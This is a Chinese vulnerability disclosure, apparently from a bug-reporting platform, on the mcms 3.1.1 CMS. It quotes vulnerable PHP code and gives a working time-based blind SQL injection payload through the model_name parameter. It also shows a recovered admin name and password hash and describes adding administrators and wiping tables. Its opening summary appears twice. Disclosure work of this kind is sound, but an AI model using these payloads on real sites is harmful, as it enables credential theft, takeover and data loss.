### 简要描述: mcms最新版任意表的任意字段注入+添加管理员+任意数据删除 ### 详细说明: 前两天在wooyun提了两个漏洞,一天就确认修复了,而且出了新版本,那我就去官网下个最新(v_3.1.1.enterprise)的来看看学习学习吧。 问题一:任意表的任意字段注入 注入一枚:POST /app/user/info.php?m=save&ajax=1 POST中有个参数model_name,这个参数是用来与数据表前缀(TB_PRE)拼接需要操作的数据表的表名的,在获得model_name时并没有过滤,因此,在数据表名可就可以进行注入了,当然,可以利用任意表的任意字段来进行注入。 看看代码/app/user/info.php ``` //保存 function m__save(){ global $dbm,$C,$V; $_POST['info_body']=strip_tags($_POST['info_body'], ' <p><a><img>'); $_POST=H::sqlxss($_POST); //处理附件参数 $attach= $oname = $order = $model_fields = array(); foreach($_POST as $k=>$v){ if(substr($k,0,9)=='attach___'){ $attach[$v]=$v; $oname[$v]=($_POST['oname___'.$v]==''?'':$_POST['oname___'.$v]); $order[$v]=($_POST['order___'.$v]==''?'':$_POST['order___'.$v]); } if (substr($k,0,9)=='extern___') { // 填充扩展表字段 $model_fields[substr($k,9)] = $v; } } //print_r($attach);print_r($oname);die(); $fields['info_id']=isset($_POST['info_id'])?intval($_POST['info_id']):0;...
### 简要描述: mcms最新版任意表的任意字段注入+添加管理员+任意数据删除 ### 详细说明: 前两天在wooyun提了两个漏洞,一天就确认修复了,而且出了新版本,那我就去官网下个最新(v_3.1.1.enterprise)的来看看学习学习吧。 问题一:任意表的任意字段注入 注入一枚:POST /app/user/info.php?m=save&ajax=1 POST中有个参数model_name,这个参数是用来与数据表前缀(TB_PRE)拼接需要操作的数据表的表名的,在获得model_name时并没有过滤,因此,在数据表名可就可以进行注入了,当然,可以利用任意表的任意字段来进行注入。 看看代码/app/user/info.php ``` //保存 function m__save(){ global $dbm,$C,$V; $_POST['info_body']=strip_tags($_POST['info_body'], ' <p><a><img>'); $_POST=H::sqlxss($_POST); //处理附件参数 $attach= $oname = $order = $model_fields = array(); foreach($_POST as $k=>$v){ if(substr($k,0,9)=='attach___'){ $attach[$v]=$v; $oname[$v]=($_POST['oname___'.$v]==''?'':$_POST['oname___'.$v]); $order[$v]=($_POST['order___'.$v]==''?'':$_POST['order___'.$v]); } if (substr($k,0,9)=='extern___') { // 填充扩展表字段 $model_fields[substr($k,9)] = $v; } } //print_r($attach);print_r($oname);die(); $fields['info_id']=isset($_POST['info_id'])?intval($_POST['info_id']):0; $fields['cate_id']=isset($_POST['cate_id'])?intval($_POST['cate_id']):0; $fields['info_title']=isset($_POST['info_title'])?trim($_POST['info_title']):''; $fields['info_img']=isset($_POST['info_img'])?trim($_POST['info_img']):''; $fields['info_body']=isset($_POST['info_body'])?trim($_POST['info_body']):''; $fields['model_name']=isset($_POST['model_name'])?trim($_POST['model_name']):''; //判断扩展模型表表单 $C->verify_model_form($fields['model_name'],$model_fields); if($fields['cate_id']<=0) die('{"code":1,"msg":"请选择分类"}'); if(!check_level('T'.$fields['cate_id'],0,1)) die('{"code":1,"msg":"没有分类权限"}'); if($fields['info_title']=='') die('{"code":1,"msg":"标题不能为空"}'); 无关代码 //扩展模型插入和更新数据 if($fields['model_name']!=''){ $model_fields['info_id']=$info_id; //预先处理某些值 比如日期 foreach($model_fields as $k=>$v) { $sql = "select form_type from ".TB_PRE."model_fields where model_name='".$fields['model_name']."' and field_name='".$k."' limit 1"; $rs = $dbm->query($sql); if(count($rs['list']) == 0) continue; if($rs['list'][0]['form_type'] == 'date') { $model_fields[$k] = strtotime($v); } } $dbm->single_insert(TB_PRE.$fields['model_name'],$model_fields,1); } ``` $model_name直接通过POST获取,没有经过过滤处理,也没有进行表的属性判断就与表前缀进行了拼接,因此,这里可以实现任意表的任意字段注入。 Payload:POST提交 ``` info_id=0&cate_id=5&model_name=product(`price`)values((select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0)))#&extern___price=33333&info_title=123&info_img=&info_body=12123 ``` 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s。如下图 [<img src="https://images.seebug.org/upload/201502/262144472a68ad98d02e57567e576a20d6d0ec39.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/262144472a68ad98d02e57567e576a20d6d0ec39.jpg) 若正确,则延迟3s(视环境而定,可自行缩短延迟时间),如下图 [<img src="https://images.seebug.org/upload/201502/26214525aaa43448bea28f47c7c75f80eea2f034.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/26214525aaa43448bea28f47c7c75f80eea2f034.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: 891c796e40d55cabc96051ca971c1894 问题二:任意添加管理员 问题点还是出在上面的代码中,因为需要操作的数据表的表名是用户输入的,而且没有经过任何属性的判断,又因为执行的SQL语句是replace into,因此,可以向用户表(mcms_user)中添加数据,这里以添加系统管理员为例进行说明。 系统管理员的登录密码是这样构造的 ``` public static function password_encrypt_salt($password,$salt){ return md5(md5($password).$salt); } ``` 所以在添加管理员时,按上面的方法进行构造,其中所需要的各个字段都可由直接通过下图中的方法写入数据库。 [<img src="https://images.seebug.org/upload/201502/26214637d2b2bcf6fdc797182ef02ecbeb0e0f2d.jpg" alt="sql执行过程副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/26214637d2b2bcf6fdc797182ef02ecbeb0e0f2d.jpg) 成功添加系统管理员 [<img src="https://images.seebug.org/upload/201502/262146518a81300044e31d4cd069365dc671c26a.jpg" alt="添加管理员副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/262146518a81300044e31d4cd069365dc671c26a.jpg) 问题三:任意数据删除 在问题二中也提到了,由于需要操作的数据表的表名是用户输入的,而且没有经过任何属性的判断,又因为执行的SQL语句是replace into,因此,可以利用replace into对所有数据表进行replace。也即构造下面的语句即可把数据表中的所有数据删除,这里以user表为例进行说明 根据replace into的性质,只要循replace表的主键值,就可以把表清空,可写个python脚本或使用burp suite可轻松清空所有数据表。 过程见下图 [<img src="https://images.seebug.org/upload/201502/26214721851e4612d8e6b75bbc19d4b88325e30d.jpg" alt="清空所有表副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/26214721851e4612d8e6b75bbc19d4b88325e30d.jpg) ### 漏洞证明: 见 详细说明